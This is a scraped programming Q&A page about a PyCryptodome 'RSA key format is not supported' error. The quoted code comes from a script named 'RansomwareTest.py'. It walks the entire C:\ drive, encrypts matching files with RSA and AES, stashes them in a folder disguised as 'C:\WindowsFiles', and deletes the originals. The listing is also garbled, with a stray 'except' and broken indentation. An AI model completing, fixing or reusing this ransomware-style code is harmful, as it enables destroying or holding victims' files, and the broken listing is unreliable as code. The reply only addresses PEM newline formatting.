添加链接 注册    登录
link管理
链接快照平台
  • 输入网页链接，自动生成快照
  • 标签化管理网页链接
相关文章推荐
温文尔雅的青蛙  ·  python subprocess模块详解 ...·  3 周前    · 
直爽的牛肉面  ·  python/openpyxl/DataVa ...·  2 周前    · 
长情的火锅  ·  python读取excel,获得下拉选中所有 ...·  2 周前    · 
勤奋的鸭蛋  ·  python - Set up of ...·  1 周前    · 
大力的长颈鹿  ·  python - Conda env ...·  1 周前    · 
越狱的排球  ·  SQL UNION 和 UNION ALL ...·  2 年前    · 
安静的斑马  ·  Python数据分析 ...·  2 年前    · 
不开心的盒饭  ·  VS中安装.nupkg文件_vs ...·  2 年前    · 
link管理  ›  [Example code]-Python Cryptography: RSA Key Format is not supported
python
https://www.appsloveworld.com/coding/python3x/41/python-cryptography-rsa-key-format-is-not-supported
健身的键盘
2 年前

Related Posts

  • Why embed dimemsion must be divisible by num of heads in MultiheadAttention?
  • python nmap module could not be found
  • How to correctly terminate multiprocessing.Process()?
  • SQLAlachmey: ORM filter to match all items in a list, not any
  • Open source cross platform IDE for python3 with debugger and code completion
  • Getting text from window (notepad)
  • How to replace partial groups in python regex?
  • cv2.imwrite changes color when saving from np.array to JPG
  • How to use a mixin metaclass to modify instance object on initialization
  • Adding to a list and sorting based on price then timestamp
  • global name '...' is not defined
  • Run a continuous script as subprocess 1, until cycle in subprocess 2 is finished
  • SnowflakeSQLException Error code: 390100, Message: Incorrect username or password was specified
  • From array to two new arrays
  • How to pass Null as value to a stored proc to query postgresdb using python?
    • Ezoic report this ad

    Other Popular Tags

    python-3.x

  • UnsupportedOperation: can't do nonzero cur-relative seeks : Python
  • cannot Install libxml2 in virtualenv
  • Conflict between sys.stdin and input() - EOFError: EOF when reading a line
  • How to check if a Chinese character is simplified or traditional in Python 3?
  • struct.error: required argument is not an integer
  • Modifying dictionary inside a function
  • How to hide password characters?
  • TOR with python stem (basic) - 'tor' not in PATH
  • Interpretation of in_channels and out_channels in Conv2D in Pytorch Convolution Neural Networks (CNN)
  • PyInstaller lib not found

    • machine_learning

  • Dealing with multiple categorical inputs and variable-sized groups as inputs to neural network
  • Graph Disconnected when trying to build CNN model with Keras Functional API
  • ML.NET Regression FastTree predictions always return 0
  • Is using the polynomial kernel equivalent to adding features?
  • tensorflow input pipeline & performance - images
  • Gibbs sampling using sklearn package
  • Implementation of REINFORCE for continuous action space (humanoid-v2)?
  • DNN binary classifier's accuracy not increasing
  • Loading data to CNN form OpenCV
  • TypeError: unsupported operand type(s) for -: 'int' and 'StandardScaler

    • For some reason, the code that says: 

    private_key = RSA.import_key(open(privdirec).read(),passphrase = rsakeycode)

    in the decryption function is throwing the error RSA Key format is not supported. It was working recently, and now something has changed to throw the error. Could anyone take a look at my code snippets and help?
    

    This is the function to create the RSA Keys:
    

    def RSA_Keys():
global rsakeycode
directory = 'C:\\WindowsFiles'
if os.path.exists(directory):
    print('This action has already been performed')
    return()
else:
    print('')
rsakeycode = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(32))
f = open('keycode.txt', 'w+')
f.write(rsakeycode)
f.close()
print('Generating RSA Keys...')
key = RSA.generate(4096)
encrypted_key = key.exportKey(passphrase=rsakeycode, pkcs=8, protection='scryptAndAES128-CBC')
with open('privatekey.bin', 'wb') as keyfile1:
    keyfile1.write(encrypted_key)
with open('publickey.bin', 'wb') as keyfile:
    keyfile.write(key.publickey().exportKey())
    if not os.path.exists(directory):
        os.makedirs(directory)
except Exception as ex:
    print('Can not complete action')
shutil.move('privatekey.bin', 'C:\\users\\bsmith\\Desktop\\privatekey.bin')
shutil.move('publickey.bin', 'C:\\WindowsFiles/publickey.bin')
shutil.move('encrypted_data.txt', 'C:\\WindowsFiles/encrypted_data.txt')
shutil.move('keycode.txt', 'C:\\users\\bsmith\\Desktop\\keycode.txt')
print('RSA Keys Created\n')
return()

    This is the code to Encrypt Data:
    

    def encryption():
directory = 'C:\\WindowsFiles'
darray = []
index = -1
drives = win32api.GetLogicalDriveStrings()
count = 1
if not os.path.exists(directory):
    print('Error: Option 3 Must Be Selected First To Generate Encryption Keys\n')
    user_interface_selection()
with open('C:\\WindowsFiles/encrypted_data.txt', 'ab') as out_file:
    filename = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(8))
    recipient_key = RSA.import_key(open('C:\\WindowsFiles/publickey.bin').read())
    session_key = get_random_bytes(16)
    cipher_rsa = PKCS1_OAEP.new(recipient_key)
    out_file.write(cipher_rsa.encrypt(session_key))
    cipher_aes = AES.new(session_key, AES.MODE_EAX)
    filechoice = input('Please input the file for encryption\n')
    for root, dirs, files in os.walk('C:\\', topdown=False):
        for name in files:
            index += 1
            data = (os.path.join(root, name))
            darray.append(data)
            if filechoice in data:
                print(darray[index])
                if darray[index].endswith(".lnk"):
                  print("fail")
                elif darray[index].endswith(".LNK"):
                  print("fail")
                elif darray[index].endswith(".txt"):
                  print(index)         
                  newfile = open(darray[index],'rb')
                  data = newfile.read()
                  print(data)
                  ciphertext, tag = cipher_aes.encrypt_and_digest(data)
                  out_file.write(cipher_aes.nonce)
                  out_file.write(tag)
                  out_file.write(ciphertext)
                  out_file.close()
                  newfile.close()
                  shutil.move('C:\\WindowsFiles/encrypted_data.txt','C:\\WindowsFiles/' + filename + '.txt')
                file = darray[index]
deleteorig(file)

    And this is the code to decrypt data:
    

    def decryption():
privdirec = 'C:\\users\\bsmith\\Desktop\\privatekey.bin'
count = 0
farray = []
index = 0
for file in os.listdir("C:\\WindowsFiles"):
    if file.endswith(".txt"):
        count += 1
        print(count,end='')
        print(':',end='')
        print(os.path.join("C:\\WindowsFiles", file))
        farray.append(file)
        print(farray[index])
        index += 1
selection = input('Please enter the number of file you wish to decrypt\n')
if selection > str(count):
    print("This is not a valid option.")
elif int(selection) < 1:
    print("This is not a valid option.")
if selection <= str(count) and int(selection) > 0:
    print("Decrypting file")
    index = int(selection) - 1
    file = os.path.join("C:\\WindowsFiles",farray[index])
    print(file)
    with open(file, 'rb') as fobj:
        private_key = RSA.import_key(open(privdirec).read(),passphrase = rsakeycode)
        enc_session_key, nonce, tag, ciphertext = [fobj.read(x)
                                                  for x in
                                                   (private_key.size_in_bytes(),
                                                           16,16,-1)]
        cipher_rsa = PKCS1_OAEP.new(private_key)
        session_key = cipher_rsa.decrypt(enc_session_key)
        cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
        data = cipher_aes.decrypt_and_verify(ciphertext, tag)
    print(data)
    file.close()

    Error:
ValueError: RSA key format is not supported
    

    Full Error: 
    

    File "C:\Python\RansomwareTest.py", line 702, in decryption private_key = RSA.import_key(open(privdirec).read(),passphrase = rsakeycode)
File "C:\Users\bsmith\AppData\Local\Programs\Python\Python36\lib\site-packages\Cryptodome\PublicKey\RSA.py", line 736, in import_key return _import_keyDER(der, passphrase)
File "C:\Users\bsmith\AppData\Local\Programs\Python\Python36\lib\site-packages\Cryptodome\PublicKey\RSA.py", line 679, in _import_keyDER raise ValueError("RSA key format is not supported") ValueError: RSA key format is not supported
                                        
    I had the same error. After debugging I found that the format of the key string matters (e.g., newline character at the beginning of the key string will lead to this error). The following format worked for me:
    

    "-----BEGIN RSA PRIVATE KEY-----\nProc-Type: 4,ENCRYPTED\nDEK-Info: AES-128-CBC,9F8BFD6BCECEBE3EAC4618A8628B6956\n<here goes your key split into multiple lines by \n>\n-----END RSA PRIVATE KEY-----\n"

    Please try to output your unencoded (non-binary) key and see if newline characters in it match the provided example.
I tested with Python 3.6.9
    
                                    
    Related Query
    
                                            
  • Encrypting json with pem file in python giving RSA key format is not supported
    • 
                                            
  • Python Cryptography: RSA Key Format is not supported
    • 
                                            
  • python - cryptography - generate new RSA private key
    • 
                                            
  • python opencv format not supported
    • 
                                            
  • Python Diffie-Hellman exchange cryptography library. Shared key not the same
    • 
                                            
  • Python RSA key, recieved the key but getting error "This is not a private key"
    • 
                                            
  • TypeError: '<' not supported between instances Python
    • 
                                            
  • python 3 will not find key in dict from msgpack
    • 
                                            
  • TypeError: '<' not supported between instances of 'State' and 'State' PYTHON 3
    • 
                                            
  • Why is python format function rounding off certain numbers but not others?
    • 
                                            
  • Werkzeug on Python 3 raises "< not supported between instances of str and int"
    • 
                                            
  • Getting a Passthrough is not supported GL is disabled, even though it is enabled; unable to run web scraping python script
    • 
                                            
  • Python 3 changing value of dictionary key in for loop not working
    • 
                                            
  • function not working when key value is assigned directly from dictionary to a variable python
    • 
                                            
  • Registry key changes with Python winreg not taking effect, but not throwing errors
    • 
                                            
  • python extracting specific key and value from json not working
    • 
                                            
  • Compare the keys of two dictionaries and create a dictionary with key, value pairs that does not match the key in the other dictionary - Python
    • 
                                            
  • python 3.8 flask apache 2.4 wsgi multiprocessing RuntimeError: fork not supported for subinterpreters
    • 
                                            
  • How to detect key release with python ( not keypress)?
    • 
                                            
  • Is there a way to update the value of a Python dictionary but not add the key if it doesn't exist?
    • 
                                            
  • Python Xlsxwriter Conditional Format 'containing' Criteria is not working
    • 
                                            
  • Is dbm.gnu not supported on Python 3.7 Windows?
    • 
                                            
  • RSA key encryption issue in python 3
    • 
                                            
  • Time Data Does Not Match Format Python Error
    • 
                                            
  • Python - change sought after dictionary key when not found
    • 
                                            
  • How to write a unicode character to a file that is not supported by utf-8, python
    • 
                                            
  • Python cryptography -- How to include X509 extensions for "Subject Key Identifier" and "Authority Key Identifier" in a self-signed cert?
    • 
                                            
  • TAB key not working in python auto-complete
    • 
                                            
  • Unable to send email from Python due to Address Family not supported Error
    • 
                                            
  • TAB key is not working in my code in PYQT5 and Python
    • 
                                            
  • Key (0, 0) is not a string when dumping json to a file- python
    • 
                                            
  • How do I resolve "'<' not supported between instances of 'int' and 'NoneType'" in python 3?
    • 
                                            
  • python Tkinter focus_set() is not working properly on capturing key press event
    • 
                                            
  • Import String Public Key to RSA Public Key in Python
    • 
                                            
  • %d format is required not str error in tkinter python to mysql database
    • 
                                            
  • Python 3.6 - scipy raising error: NotImplementedError: input type '<U32' not supported
    • 
                                            
  • Python Cryptography Generate Key from Password Error
    • 
                                            
  • Missing attributes are not caught by the Python supported IDEs
    • 
                                            
  • Could not deserialize key data error while loading openssl private key with cryptography module in Python3
    • 
                                            
  • Python cryptography RSASSA PSS signature returns not valid when check with pycrypto APIs
    • 
                                            
  • sublist parameters are not supported in python 3
    • 
                                            
  • Arrays not supported in Bigquery Python API
    • 
                                            
  • Key Error in Python string with format call
    • 
                                            
  • How do you break a Loop with a key press without using a module that is not built in to python
    • 
                                            
  • Date does not match format in python datetime.strptime
    • 
                                            
  • SSL error in python request which is not caused by bad proxy format
    • 
                                            
  • TypeError: '<' not supported between instances of 'int' and 'Toy' Python
    • 
                                            
  • Why Python format function is not working?
    • 
                                            
  • Python cryptography Fernet.generate_key() key length
    • 
                                            
  • Get Common Key values in Json Format Python
    • 
                                
    More Query from same tag
    
                                        
  • Python 3, module 'itertools' has no attribute 'ifilter'
    •
     
    推荐文章
    温文尔雅的青蛙  ·  python subprocess模块详解 - 三只松鼠
    3 周前
    直爽的牛肉面  ·  python/openpyxl/DataValidation给 excel添加下拉列表_excel data validation list
    2 周前
    长情的火锅  ·  python读取excel,获得下拉选中所有选项_python获取下拉菜单内容 excel
    2 周前
    勤奋的鸭蛋  ·  python - Set up of virtual environment in anaconda failing - Stack Overflow
    1 周前
    大力的长颈鹿  ·  python - Conda env create from .yml gives "unexpected error" - Stack Overflow
    1 周前
    越狱的排球  ·  SQL UNION 和 UNION ALL 操作符 - 墨天轮
    2 年前
    安静的斑马  ·  Python数据分析 :pandas数据读取、预处理、筛选、计算，时间序列、透视、拼接、导出 - 简书
    2 年前
    不开心的盒饭  ·  VS中安装.nupkg文件_vs .nupkg_z海清的博客-CSDN博客
    2 年前
    Link管理   ·   Sov5搜索   ·   小百科
    link管理 - 链接快照平台